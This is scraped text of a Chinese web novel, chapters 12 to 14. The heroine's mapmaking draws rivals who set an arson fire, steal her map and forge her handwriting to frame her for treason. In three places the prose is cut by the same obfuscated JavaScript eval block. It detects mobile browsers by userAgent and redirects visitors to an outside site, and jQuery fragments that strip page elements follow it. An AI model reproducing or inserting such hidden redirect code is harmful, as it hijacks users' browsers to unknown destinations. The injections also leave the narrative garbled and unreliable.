“凉州怎么没给你立个庙?叫百姓天天焚香供奉,拜你这位为民请命的活菩萨?”
话音刚落,空气还凝着,他肚中却“咕咕”响起两声,十分响亮,在这静夜里格外尴尬。
姜辞抬眼看他,眼里不见讥讽,只淡淡开口:“正巧,晚娘和银霜刚去厨房替我备宵食。”
“都督若不嫌弃,不如……一起吃点?”
姬阳脸色微变,原本抬脚就要走,可一步迈出,终究还是收了回来。
他平日里回府无定时,吃食多在督军署凑和,这会儿回得晚,府中下人大多都歇下,连他屋里都没留热水,更别提膳食。
犹豫片刻,他冷哼一声,面上勉强,声音却低低落下:
“……嗯。”
12. 第 12 章
屋内灯火微暖,夜风轻掠,案上的书页终于不再翻动。
姬阳坐下时,神情仍是冷淡的,像是被逼无奈才肯暂留,但落定那一刻,他眼角的锋锐,终究还是收了几分。
姜辞未言多语,只是默默起身,将落在地上的披风捡起,抖了抖尘,银霜已经回来,替他添了一个碗。
不多时,晚娘携了食盒归来,一推门见姬阳坐在案前,皆是一愣。
银霜下意识看向晚娘,欲言又止。
姜辞平静地说道:“都督回来得晚,我留他一同用些宵夜,免得饿坏了身子。”
姬阳冷冷斜睨一眼:“我像是那等吃几顿就饿坏的人?”
姜辞却不恼,语气温和:“兵马未动,粮草先行,都督若是身子垮了,东阳又靠谁来守?”
她说完,自己也落座,执箸不言,开始夹菜。
姬阳盯着她这副淡淡自若的模样,心里更不舒服。
“你一向擅言。”
他低声道。
姜辞淡淡道:“都督伤人的时候也很擅言。”
这话出口,屋内一时沉默,连银霜都不敢喘气。
片刻后,姬阳终于低头,取起筷子,夹了一口青菜。
出乎意料地清爽,带着淡姜与陈皮的香,恰是他少年时在丰都军营里吃过的味道。
他眉头微不可察地一动,还是没说话。
姜辞却低声一句:“这道是晚娘做的,她说丰都湿气重,这样的清食最适合调胃。”
姬阳淡淡“嗯”了一声,低头继续吃饭。
屋外风吹过树影,烛火映在他冷峻的侧脸上,五官深刻而清隽,只是眼底仍藏着未散的寒意。
饭至中段,姜辞忽然轻声道:“都督刚才看了我那副舆图,不知画的可还算准确?”
姬阳闻言抬眸,视线落在她案上的那幅图上,眉目间露出一丝淡淡讥色。
他起身,走到案前,低头瞥了一眼那幅舆图,手一伸,随手将图卷起,语气冷淡:
“画得倒也算认真,就是丑得厉害。”
姜辞一怔,还未开口,他已将图往身后藏去,神色依旧冰冷:“你是凉州人,这种东西,不该落入外人之手。”说完,又将她的手记也拿走,“这个也不行,我要拿去烧掉,防止你寄给凉州,省的和你父亲一同算计我。”
话音落下,他转身推门而去,留下一地余温。
姜辞望着他离去的背影,微怔片刻,终是没有说话,只是笑出了声儿。
银霜问道:“小姐,都督要把您写了许久的手记烧掉,您怎么还笑上了。”
姜辞摇摇头,仰头说道:“无事,他不会的。”
夜深如墨,窗外寒露凝枝。
东阳侯府西院灯火犹明,书案前,姬阳披衣未解,正执笔伏案,面前摊着姜辞所绘的那幅舆图。
他原本只想随手一看,可看着看着,却不自觉将那图摊开压平,又取来镇纸,仔细标出了重点。
手边的手记翻了一页又一页,字迹清润秀雅,排水走渠、泥沙分流、堤坝配兵,条理井然、推演得当,远远比昨日他与陆临川仓促所议还细致数倍。
他一边看,一边沉吟着不语,直到天边泛起鱼肚白,才合上册子。
望着窗外微明的天色,姬阳轻轻揉了揉眉心。
他这一夜未眠。
翌日卯时,府门甫开。
沈如安着一身明黄襦裙,眉眼精致,正携着寄秋来到前厅请安。两人刚入回廊,便见姬阳自正厅门内快步而出,仍是一身玄衣,系带未整,显然是彻夜未歇。
沈如安眼前一亮,快步迎上:“表哥……”
姬阳未曾停步,连视线都未施一眼,只丢下一句:“我要去督军署。”转身已然跨门而去,不留余声。
寄秋站在廊下,脸色微白,垂下眸子低声道:“他……是不是不喜欢我?”
沈如安却勾起唇角,自信一笑:“怕什么?机会才刚开始,他这不要去办公嘛,今晚我设宴请表哥与我们一同就行。”
丰都督军署,朝阳初升。
陆临川抱着昨日的卷宗才入堂,就见姬阳已坐在案前翻看公文,手边却摊着两卷新图。
“这是?”他狐疑开口。
姬阳不语,只抬手将图与手记推至他案前,淡声道:“按上面这份办。”
陆临川挑眉,摊开那卷舆图一看,不禁眼前一亮。
“这图……画得极好。”他低头翻阅手记,又啧了一声,“堤防走向细致,配粮配兵皆有考量……啧啧,这哪里像随手一写的?”
他忽然笑了声,手指点了点手记,挑眉看向姬阳:“不知主公何时写得这般娟秀字迹?”
姬阳抬眼,冷冷一字:“多事。”
陆临川低头一笑,眼中却闪过一丝意味深长的光,“谁说这美人误国,这美人妙啊。”
姬阳懒得搭理他,去一旁与他人部署其他事宜。
-
夜色沉沉,星光如洗。
姬阳忙了一天回来,东阳侯府东廊静谧无声,只有微风拂过树影,带起一地月华。
寄秋手中托着一盏暖瓷汤盅,跟随沈如安来到前厅。沈如安笑道:“今夜他应还未歇,你只说是我遣你来送汤,他定不会拒绝。你姿态再柔些,语气再软些,男人最受不了的,就是温香软语。”
寄秋低头一笑,眼中藏着几分羞意,也有几分势在必得的光:“沈如安……我有些怕。”
沈如安轻轻一推她:“怕什么?机会就在眼前。姜辞那样冷清的人,哪里会讨得男人欢心?你若不快些,他便真被那女人牵了心走。”
话音落下,寄秋咬了咬唇,朝主院方向行去。
此时的姬阳,方才沐罢,换了素色寝衣,正倚坐案边翻看军报。听见门外脚步声,他眉头微皱:“谁?”
寄秋小声道:“是寄秋,白日里我们见过,我是沈如安的好友,她叫人给你熬了汤,但她有些事绊住了,叫我送一盏汤来,怕都督劳累过度……”
话未说完,她已掀帘而入,脚下一个趔趄,整个人往前跌去。
姬阳眉头一沉,身子一闪,房内还有一个侍者,是越白,他下意识抬手扶住寄秋肩臂。
那一刻,汤盅落地,汤水溅出,香气与暖意一同四散。
寄秋连忙站稳:“对不起……我不是故意的。”
姬阳脸色沉得厉害,正要推开,忽听一声:
“都督。”
门口站着一人,一身月白,神色平静而从容。
姜辞静静望着眼前的一幕,眼底没有讥讽,没有恼怒,甚至没有半分惊讶。
她只是淡声开口:“我想着都督今日晚归,还未吃饭,便叫晚娘拿了一些送过来,你有客人,我便不打扰了。”说完拎着食盒离开。
姬阳目光一顿,瞪了一眼寄秋,语气冷如冰:“你滚出去,再踏进这件屋子,就给我滚出东阳侯府,我管你是谁的好友。”
寄秋愣住,脸色被吓得通红,只能乖乖退下,走到门口处,掌心中一方素白帕子不慎掉落,落在青砖之上。
姬阳一眼扫见,却冷冷丢下一句:“别把下三滥的手段用在我身上。”
越白上前捡起来,给丢了出去。
翌日午后,细雨初歇,府中竹枝滴翠,风送凉意。
沈如安抱着一只暖炉倚在榻上,笑意淡淡:“听下人说,她画得一手好图?我倒真有些想看看了。”
寄秋捧着一盏清茶,掩唇轻笑:“我听说她画的是舆图。”
沈如安挑眉:“舆图?”
寄秋含笑不语,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361269|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却又道:“是啊,今日她又在画,不过她院里戒备不严,我倒是……不小心看了一眼。”
沈如安目光一亮:“哦?”
沈如安扫了一眼,忽而笑了,笑中却带着点寒意:“你说她一个凉州女,来我东阳将将满月,就已绘得我城堤图、渠道布防。你说她,是未卜先知,还是早有准备?”
寄秋眼神一敛:“姐姐的意思是……”
沈如安不答,只轻声道:“你我在东阳长大都没见过这处水利图,她倒绘得有模有样,这不奇吗?”
寄秋小声道:“可我们怎么才能拿到?”
沈如安一笑:“这我自有办法。”
她唇角微扬,眼底却泛着清冷笑意:“我跟你说,我表哥最恨的,就是那些假借忠义之名、却暗中算计的人。”
“你我若略施小计,让这图流出府外,再落到西凉的手中,你猜,我表哥会如何看她?”
寄秋神色微变,却仍轻声应了一句:“姐姐好计谋。”
第二日日光西沉,晚风微凉。
沈如安命人送帖至姜辞院中,仆人言辞客气:“听闻二夫人擅长绘图,我家小姐欲设计几款簪样样式,想借二夫人高才之手,描一二稿草。”
姜辞接了请帖,微一颔首:“本不擅女红工艺,但若是帮人画几笔草图,也不难。”
晚娘担心,道:“我与您一同去。”
姜辞点点头,唤了银霜留下,嘱咐看院,便带晚娘前往沈如安住处。
姜辞院外,一道纤瘦身影缓缓自偏门潜出,裙摆藏于暗影之下。
寄秋手中拎着一瓶火油,眼底泛着一丝紧张。
她悄悄绕至姜辞院后,确认无人在旁,才将火油泼在草堆、木檐与干枝上,点燃火折子。
火光初起,隐于暮色。
她退到阴影中,半蹲在角落,目光紧盯那一缕升腾的烟线。
不多时,
“走水了——走水了!”
“快——快来人!二夫人院中起火了!”
府中顿时一片大乱,仆从奔走,水桶传递,乱成一团。
银霜本在房内,闻声冲出门外,顾不得多想便投入灭火。
院中瞬时空了出来,守门的小厮也被召去搬水,整个姜辞院落防守薄弱。
院后,一道黑影鬼魅般翻墙而入。
寄秋熟门熟路地穿过回廊,一路进了姜辞房中。
室内残留着墨香与淡花气。
她快步走向案前,开始翻找,纸堆翻开几张,皆为姜辞所绘。
她目光一扫,忽然看到其中一卷纸轴上标注着“宁陵东堤水路分布”,下笔严谨,细节繁密,虽然还是初稿模样,但也够了。
她心中一喜,迅速将图卷收好,听着外头水声人喊,毫不犹豫顺着火后人乱,一路溜了出去。
走水之事很快传遍东阳侯府各处。那方向分明是二夫人所居之院,仆从奔走,惊声四起。
姜辞手中笔锋未尽,墨未干,已听见风中夹杂着慌乱喊声。她脸色一变,几乎是将笔一丢,顾不上沈如安应酬,转身带着晚娘疾步奔回。
她一踏入院门,便见火舌已卷上廊柱,浓烟四起,银霜与几名下人正在抢水扑救。
姜辞面不改色,心中却只念着一事——
图与手记还在屋内。
她什么也没说,便冲进烟火中。晚娘惊呼一声紧随其后,却险些被火浪逼退。
另一边,姬栩在书房听闻动静,顾不得咳喘未歇,披衣便赶来现场。
竹娘拦住他:“大公子!您万不能进火场,烟气入肺,会……”
姬栩却已顾不得许多,推开她的手,执意踏入院中。
院中混乱不堪,他扫视一圈,未见姜辞身影,拉住银霜急问:“你家小姐呢?”
13. 第 13 章
银霜带着呛咳,满脸焦急:“我也不知道……小姐冲进屋去了,她说……她的宝贝还在里面。”
正当众人惶急之时,姜辞抱着数卷画册和几本笔记,自火中疾步而出,发髻早已松乱,衣袍上沾了烟尘,气息微喘,仍稳稳护着怀中文卷。
姬栩连忙上前,一把扶住她,低声急问:“你没事吧?有没有被呛到?”
姜辞摇摇头,咳了几声,神情有些惊慌道:“无妨,大哥怎么来了。”
这一幕,恰好被站在不远处观望的沈如安尽收眼底。
烟尘未散,姜辞被姬栩小心扶着,语气关切。她一身素衣,手中抱着那一卷一卷图策,目光微敛,却在火光映照下更显沉静坚定。
而她的表哥,分明眼中带着担忧与柔意。
沈如安望着那一幕,指尖不觉攥紧了手帕,唇边的笑意一点点冷下来。
“你可真是个狐媚子,有了二表哥还不够,如今还要勾着子叙表哥。”
火势终被扑灭时,已近夜半。
姜辞原先所居的院落已成一片焦黑,窗纸焦卷、梁柱熏黑,院中弥漫着湿土与焦木混合的刺鼻气味。
府中上下都知,这院子短时间内是住不得人了。
姬阳是夜自督军署归来,刚进府便有下人禀道:“二夫人院中走水。”
他眉头一蹙:“好端端的,怎会走水?丰都刚入夏,潮的很,哪来的火?”
下人们面露难色,低声回道:“属下也不知……火起得忽然。”
姬阳神色一沉,未多言,带着一队亲卫绕至后院。
火虽已灭,烟灰未尽。
姬阳蹲身查探起火之地,手探入焦土中,指尖一捻,眉峰登时紧锁。他将那撮土凑近鼻尖—
是火油的味道。
他眸光沉了几分,缓缓站起,回头看了眼身后人。
“此事传出去,只说是屋内灯火未灭,引燃帘帐。谁也不许多言。”
亲卫领命。
站在一旁的沈如安与寄秋,远远望着这边,见姬阳语气平静,也都悄然松了一口气。
不远处,姜辞静静站着,衣襟上沾着灰尘,额角汗湿,发鬓微乱。
她未曾言语,只定定望着那被烧得半塌的屋檐。
姬阳走至她面前,视线一扫,落在她脸上还未擦净的烟灰与眼角的倦意上。
语气平平:“这院子今夜是住不了了,旁边的别院也来不及收拾。”
他顿了顿,背脊挺直,看她的目光毫无情绪,“母亲不在府中,你又是名义上的女主人,这院子住不得,旁处也空不出。你就住我屋,我去书房。”
话音落下,他未等她回应,已侧身与她擦肩而过。
姜辞站在原地,微微一愣。
她未曾想到,这个夜夜防她如贼的男人,竟会在此刻开口让她住进他的屋子。
风吹过,残火中浮起些许微光,落在她眼中,倏然明灭不定。
姜辞随晚娘拾级而上,步入那道红漆朱门。
这是她嫁入东阳侯府以来,第一次走入他的房中。
门“吱呀”一声被推开,一股带着淡淡木香与铁锈的气息扑面而来。
屋内极静。
姜辞抬眸四顾,这并非她想象中一位权臣将军的寝室。
不见华裳锦帐,未设罗幔绫帷,屋中陈设极简,皆是黑檀木几案与素白屏风,连床帐都只是一袭深色织锦帷布,整间屋子像是铁打的军帐,处处透露着肃冷与克制。
案上卷轴摞得整整齐齐,一只陶釉的白瓷酒壶,孤零零地立着,旁边放着半卷未续的书信,压着一张泛黄旧纸,似是某年某月的遗稿。
姜辞走近几步,手指拂过床边木几。
她忽而意识到,这个人日日奔忙军政之间,竟没有一个可以供他卸下铠甲、温酒安眠的地方。
这哪里是寝屋。
姜辞梳洗完毕后,晚娘低声道:“姑娘。”
姜辞回神,对她微微一笑:“你们下去吧,我一个人可以。”
晚娘点头,默默退下,屋门轻阖。
屋内重新归于静寂。
姜辞走到床前,坐在榻边。她低头理了理头发,指尖却在发间一顿。
她心里竟被轻轻暖了一下,她轻轻躺下,枕边还留着一缕檀香余味。
望着帐顶漆黑,姜辞缓缓合上了眼。
第二日起来,看着空旷的屋子,姜辞只叫晚娘与银霜小心些将屋内打扫一番,尽量不扰其位,不乱其序。
但窗棂灰尘极厚,案几下落满细屑,帘后甚至还堆着几卷泛黄的旧书。
晚娘小声道:“姑娘,真没想到都督住的地方竟是这般……不通风。”
她一边说,一边从屏风后将几件覆了尘的衣物轻拂干净,又将折角的书页一一抚平。
窗边的烛台歪斜,姜辞将它端正过来;榻前的地毯卷起一角,她轻手理顺。
这些小动作,全无惊扰,但屋子渐渐生出一丝不易察觉的暖意。
“姑娘,我把花买回来了。”
银霜提着一个小花篮进门,里面是几枝从城东市集买来的山花,有白棠、有风信子,香气浅浅,不艳不俗。
姜辞望了一眼,笑道:“选得好。”
她亲手从其中取了三枝,斜斜插入素白瓷瓶中,摆在靠窗的案上。
阳光从窗棂斜洒下来,落在花枝上,映出一抹温润光影。
“这样,看起来就不那么冷了。”银霜小声说。
姜辞没接话,只微微一笑,又看了眼那瓶花。
临近傍晚,天色将昏,姬阳回府。
他一身玄衣,裹着淡淡夜寒,刚踏入寝屋,脚步便在门前一顿。
屋内多了几分不该有的生气。
那案前原本空无的瓷瓶中,插了几枝不知哪里折来的小白花,清简素雅,立在这里,显得格外突兀。
角落多了香薰,榻边铺了柔毯,甚至连窗棂也被擦拭得一尘不染。
他的眉头瞬间压了下来,冷意骤起,眸光如寒铁扫向正将水盏端至案上的姜辞。
“谁许你动这屋子的东西?”
姜辞一愣,尚未开口,他已疾步上前,一把将那瓶花拿起,又重重搁回案上,冷声道:
“这个屋子,任何一寸地方都不许变。”
“你若再擅动一物,便去柴房睡!”
语气森冷,几乎带着不容辩驳的戾气,随后姬阳转过身,未言一字。
但那背影,比寒夜还要冷硬。
姜辞怔在原地,指尖还沾着未干的水渍,她从未见他发如此大的火。
她原本只是一点好意,想着既然住进来了,总不能像前日那般冷清,添两枝山花,添一盏灯火,不也算是点点人气?
可没想到,这些,在他眼中,是不可触碰的禁忌。
屋中气氛凝滞如霜,谁也未再言语。
这时,门口忽然传来一声轻咳。
是姬阳的亲侍越白,他本是为姬阳送信,见气氛僵冷,犹豫了一下,还是低声开口道:
“夫人若不知情,属下斗胆一言——”
“都督这屋子,原是东阳侯……也就是都督父亲的旧居。”
“那年都督从凉州逃回,回到丰都时,错过了东阳侯的最后一面。”
“侯爷下葬后,都督便搬进这屋,说是让一切都保持原样。”
话音落下,室内陷入死寂。
姜辞怔怔地望着他,良久,垂下眼帘,轻声道:“是我多事了。”
说罢,她轻手轻脚收起花瓶,将那几枝白花连同小香,悉数抱入怀中,一一撤去。
那一刻,她忽然明白,这屋子之所以冷,不是因为没有温度,而是姬阳在用他自己的方式,怀念着自己的父亲。
是她唐突了。
平阳侯府,初夏时节。
长廊映日,绿槐摇影,一辆饰银描朱的马车缓缓停在朱门前。
姬夫人被下人搀扶着缓步而出,腰背挺直,神色威仪不减,随行婢女扶着她走入府内。
门房早已通传,平阳侯府上下已然迎出。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361270|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“阿姊。”平阳侯亲自出门相迎,鬓发虽添了些许霜色,仍难掩昔日勋贵之气。他身后站着的,正是平阳侯夫人,眉眼温润,一见姬夫人便笑着行礼。
“难得阿姊亲自来此,府上蓬荜生辉。只是不巧,辰哥儿近日染了风寒,未能出迎。”
姬夫人闻言,眉头微蹙:“我正是听说辰儿染病,这才急匆匆赶来。”
几人言语之间,已进了花厅坐下。
平阳侯亲斟一盏茶递给姬夫人,道:“不过阿姊,你这一来倒也奇了,东阳侯府刚娶了媳妇,怎的你身为长辈不在家照应,反而独自跑来?”
平阳侯夫人也温声笑着道:“可不是嘛,我听说你家子溯大婚不过数日,这新妇进门,要学的可多着呢。”
姬夫人闻言,也笑了起来,眼底却藏着几分笃定。
“其一嘛,自然是来看辰儿,阿姊我这几年身体大不如前,少有探望,如今得空,理应走一趟。”
“其二——”她轻轻放下茶盏,声音沉静有力,“是想给那丫头一个机会。”
“子溯的性子你们也知道,冷心寡言,轻易不肯认人。我本以为,这段婚事不过是权衡利弊的筹码,谁知那姜辞倒比我想得要沉稳明理,处事得体,不怯事、不躲事,为人性格也好,我越看越喜欢。”
“所以,我想着不妨趁我出门,让她真正独自挑一挑担子。若能镇得住府中众人,那她未来就真能担得起东阳侯府的主母之位,毕竟子叙你们了解,自那事发生之后,他不想再娶妻。”
平阳侯夫人听罢颔首,笑道:“我听说那姜氏乃凉州刺史之女,自小便聪慧,琴书女训皆不在话下,若真有此气度,阿姊你倒是慧眼识珠。”
姬夫人点头,眼底闪过一丝赞许:“她是个能熬得住的女子,不骄、不躁,不争、不辩。”
“我看得出,她将来,不是一个会被困在后院的女人,而是能与子溯并肩的人。”
这话一出,厅中一时静了几分。
姬夫人拈起茶盏,轻啜一口,微微一笑,平阳侯夫人没想到,这姜家女竟然能让阿姊这般认可,阿姊当年也是骑在马背上跟东阳后驰骋沙场的女子。
与此同时,东阳侯府内。
沈如安独坐于内院,檀木塌前,金线云锦轻垂,静得几乎能听见心跳。
她指间攥着一串珠串,珠线已被她不自觉地绷得极紧,脑中却始终浮现几日前走水那一幕——
火光四起,姜辞冲入火场,姬栩闻讯赶来,一句“你可还好”满含焦急,连眉眼都写满担忧。
“姜辞……”
沈如安眼神一沉,指间微一用力,只听“啪”的一声,珠串断了,圆润的珠子滚落在地,发出一连串清脆的响声,在这安静的院中格外刺耳。
她深吸一口气,垂眸看向面前案几上铺展的纸页。
纸上正是寄秋从姜辞那里偷来的舆图草稿,舆图两侧,皆是姜辞的批注,沈如安将其与自己新写的一页叠在一旁,仔细比对。
一旁墨未干的字迹,赫然是数次练习的“西凉”二字。
沈如安握着笔,凝神将那两个字又一遍一遍地描画,直到每一笔都与原迹无异,她才慢慢将毛笔搁下,手腕微酸,却眉眼舒展。
正巧这时,寄秋掀帘而入,见她神色专注,轻声唤道:“沈姐姐?”
沈如安抬眸,唇边慢慢扬起一抹笑意,招手示意她过来:“你瞧瞧。”
她将那张仿制好的字迹递给寄秋,眼神含着几分自得,“如今这字迹,和原本的,可是与姜辞写的一模一样了吧?”
寄秋接过细看,果然惊讶不已:“沈姐姐,你也太厉害了……这谁能看出是假的?”
沈如安勾唇一笑,她微微俯身,靠近寄秋耳侧,语气轻得几乎像在说情话,字字却透着杀意:
“自然是要做得天衣无缝,不留破绽。现在只要等我将她笔迹练熟,借二表哥之手,给她戴上一个通敌的罪名,寄秋,你可知道,通敌乃死罪。”
“我倒要看看,这姜辞,还如何转圜?”
14. 第 14 章
寄秋听得一震,心口一跳,原本只是隐隐不安,此刻却真切感受到一股彻骨的凉意从背脊升起,她不由自主地吞了口唾沫,指尖微颤。
她一开始以为沈如安让她偷那幅舆图,只是想借此机会,将姜辞逐出东阳侯府,哪曾料到,沈如安竟是要她的命。
眼前的沈如安,眉眼仍是那副笑意盈盈的模样,却叫人觉得陌生得可怕。
沈如安看出她的犹疑,忽地一把捏住她的下巴,笑容不变,语气却带着压迫:“你不是喜欢我二表哥吗?我替你除掉她,叫她乖乖把位置让出来,你不高兴?”
她声音轻柔,“现在是想打退堂鼓了?嗯?”
寄秋唇瓣颤了颤,嗓音发紧:“我……我只是怕,万一东窗事发,都督若是查出来……”
沈如安这才松开她的下巴,手指轻拍她脸颊两下,像安抚,又像羞辱。
“放心。”她慢条斯理地说道,“我都安排好了,到时候,自会有人替我们背这个锅。”
说完,她转身回到案前,重新提起笔研墨,神情波澜不惊。只是那一瞬,侧脸间却浮出一丝不耐,像是对寄秋的胆怯极尽厌烦。
屋外风声拂过帘幔,撒进来的光映得她眉眼清艳如画,却透着一丝蛇蝎之气。
傍晚时分,霞光渐敛,夜色初沉。姜辞披着一件月白薄衫,坐在院中灯影下,手指间穿针引线,正细细绣着一件墨蓝披风。
矮桌上摆着几碟可口小菜,皆是她亲自吩咐晚娘备下的,样式不多,却精致温热,一盏暖炉旁正炖着汤,腾起袅袅白气。
她自日落坐到星沉,夜风渐起,院中竹影摇曳。晚娘走来,轻声唤道:“姑娘,咱们……还要等下去吗?”
姜辞抬头望了一眼天色,神情不慌不忙,语气却极平静:“他每日练兵,政务又繁重,忘了吃饭也是常有的事。”
“况且,如今我们住在他屋檐下,关系已如此僵冷,便更应退一步。婆母总归撑不了我一辈子,该他接触我、容我……也得我先有个姿态。”
她垂眸,指间针线未停,低声道:“我想好了,无论多晚,都要让他吃上一口热饭。”
“凉州曾寒他至骨,我想试试看,是不是还能一点点把他暖回来。倘若他心不再冷了,也许……他悬在凉州头顶的那把剑,才会肯收。”
晚娘听罢,眼中一动,轻轻握住姜辞的手,低声笑道:“姑娘如今能想明白,是再好不过的事。”
一旁的银霜歪着头,好奇问道:“这就是所谓的……先暖胃,再暖心?”
姜辞莞尔,与晚娘一同点了点头。
这时,一名小厮匆匆进院来禀报:“二夫人,都督刚刚下马,正往这边来了。”
姜辞起身,略略整了整衣襟,回头对晚娘道:“快替我瞧瞧,我今日这身打扮,可还行?”
晚娘仔细端详她片刻,笑意浮上眼角:“姑娘今日在镜前描眉描了半个时辰,我从没见过您这般在意自己的模样。”
姜辞轻笑一声,取来铜镜照了照,低声道:“人人都斥美人计为旁门左道,可自古以来,多少英雄好汉折在这一笑之间。”
“若能叫我们之间少些剑拔弩张……那也是谋。”她说罢,笑意浅浅,温婉中透着几分笃定锋芒。
夜风微拂,烛影摇曳。
姬阳的脚步自廊下由远及近,稳而清脆。
姜辞安坐于院中小亭,抬手拂过鬓发,身姿静谧。她早已换上一袭温雅色衣裳,眉眼收敛,鬓边斜插一支素钗,安静得如一幅画。
姬阳原本目不斜视,随越白一同踏入院内,直往书房而去。
谁知不远处忽传来一声轻轻的喷嚏,姜辞用袖掩住,略微偏头,神情带着几分乖顺的委婉。
这一细微之声使得姬阳脚步顿了一下,目光下意识扫了过去。
亭中人影疏朗,姜辞已起身,拢袖行礼,神色温和却不失分寸:“都督,晚娘今日做了几道小菜,还亲手卤了牛肉。”
“我前两日着了凉,舌头淡得很,总尝不出滋味……都督若不嫌弃,可愿帮我尝一尝?若有不足之处,我也好回头同晚娘说。”
她语气柔缓,带着些许小心,却不讨好,也不屈低,恰好踩在礼与情之间那条最稳的线。
姬阳低头,掌心不自觉地在腹前按了一下——确实有些饿了。
他侧头道:“越白,你先将东西送去书房。”
语罢,一身风寒未卸的他竟没再多说,便转身朝亭中走来,于姜辞对面坐下。
姜辞眸光微动,唇边浮起一抹若有若无的笑,执筷递至他面前,声音温软清晰:
“劳烦都督,可否在百忙之中,帮我试一试菜。”
姬阳接过筷子,眼神淡淡落在案上几道小菜之上。
牛肉切得整齐,色泽红亮,汤汁浓稠,边缘还冒着热气。他目光轻敛,喉结微动,不动声色地吞了口唾沫,他今日确实未曾好好用过一顿饭,肚中早已空落。
他不愿表现得太过,随手夹了一筷子牛肉入口,咀嚼得不紧不慢,神色未变。姜辞也低头拾起筷子,与他并肩而坐,动作不紧不慢,自有一份温柔从容。
她轻声问:“如何?味道可还行?”
姬阳眼神未动,语气一如既往地冷淡:“马马虎虎,不如我母亲院里的小灶。”
姜辞闻言只是点点头,语气平稳:“那我回头如实告诉晚娘,让她改进。这几日她一直在琢磨新菜谱,我尝不出味儿来,明日,只好也烦请都督帮我试一试。”
她声音不高不低,像是在陈述一件再平常不过的事情。
姬阳夹菜的手忽地一顿,转头盯着她,忽然放下筷子,靠在椅背上,语气森森:“你不会,想用此给我慢慢下药,好找机会毒死我吧?”
姜辞微怔,旋即连连摇头,抬眸认真道:“怎么可能。晚娘这些菜本是为我准备的,我从小挑嘴,她就常换着法子做些新鲜的吃食。现在我病着,她怕我吃不惯,才一日三样地试味儿。”
“若都督觉得不妥,那就请大哥或阿梵来帮我试菜也成。”
此言一出,姬阳眉眼轻动。
他沉默片刻,忽地哼了一声:“你倒是会借人。”
话锋一转,他端起碗,语气依旧淡漠,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361271|183693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却无比清晰地说道:“不用找他们,我走南闯北多年,吃遍南北风味,比谁舌头都灵。”
姜辞轻轻“嗯”了一声,继续用膳,垂着眼帘,嘴角却不由自主勾起一抹极淡的笑意。
饭毕,姬阳放下碗筷,未再多言,转身拂袖往书房而去。
待他走后,晚娘与银霜自一旁走过来,晚娘笑得眼角起了细纹,悄声说道:“姑娘果然是厉害。都督要面子不愿开口,您这法子,就正好给他递了个台阶。”
银霜亦低声附和:“而且递得刚刚好,还不显刻意,他下回再不来,也说不过去了。”
姜辞没应声,只是轻轻拨了拨碗中菜叶,神情淡淡。
次日巳时,阳光尚未高悬,姬阳却频频抬眸望向窗外,指尖不经意地敲着案角,眼神分明有些游神。
屋内,陆临川正与副将汇报治水事宜,说到宁陵堤坝的调度部署时,见姬阳神色愈发心不在焉,索性停了下来,挑眉笑问:“主公,既然心思已飞,不若我们移步茶楼,边吃边议?”
姬阳回神,淡淡道:“你们去,我还有事,先行一步。”
说罢起身披袍,转身就往外走,动作干脆利落,步伐颇急。
陆临川目送他背影,轻摇白骨折扇,斜睨了副将一眼:“此事……必有蹊跷。”
副将低声道:“虽说今日所议不过是旧事续商,但主公向来不急于返府,往常都要在督军署拖到夜申才走人,今日这般迫不及待……”
陆临川将扇一合,嘴角勾起一抹意味深长的笑意:“你替我去找曹工说清图纸细节,我亲自走一趟。”
而此时,东阳侯府内,庭中光色正好,微风掠过。
姬阳跨入院门时,小厨房那头炊烟袅袅,淡淡香气随风而至,他走了过去。
正听得厨房中传来姜辞柔润的嗓音:“这鸡汤我熬了两个时辰,加些酸果进去,肉质更酥烂了些,味道也更清爽。”
晚娘在一旁应道:“姑娘手巧,头一回做这汤就成了。”
姜辞笑了笑,舀了一勺送至唇边,轻轻一抿,眼睛一亮:“嗯,汤汁浓而不腻,正是这个味儿。”
“那我就把这几样先端出去。”晚娘说着端起盘子。
话音未落,姬阳已敏捷地闪到回廊后,藏身于一侧暗影中。
他从窗棂缝隙望去,只见姜辞挽着发,围着杏色围裙,衣袖高挽,正俯身取汤,一副温婉模样,眉眼沉静而安然。
他目光微顿,神情有一瞬怔愣,却很快冷笑一声,垂眸低语道:
“什么味觉不灵,什么风寒,不过是套路话罢了。”
“还不是因为仰慕于我,想博我同情,找个借口与我共度些许光景。”
姬阳自后院小门悄然离去,兜了一圈,才装作若无其事地从东阳侯府正门缓步而入。
这时院中,晚娘正低头铺着饭桌,忙得正紧,未曾察觉他的身影。
姬阳故意轻咳一声。
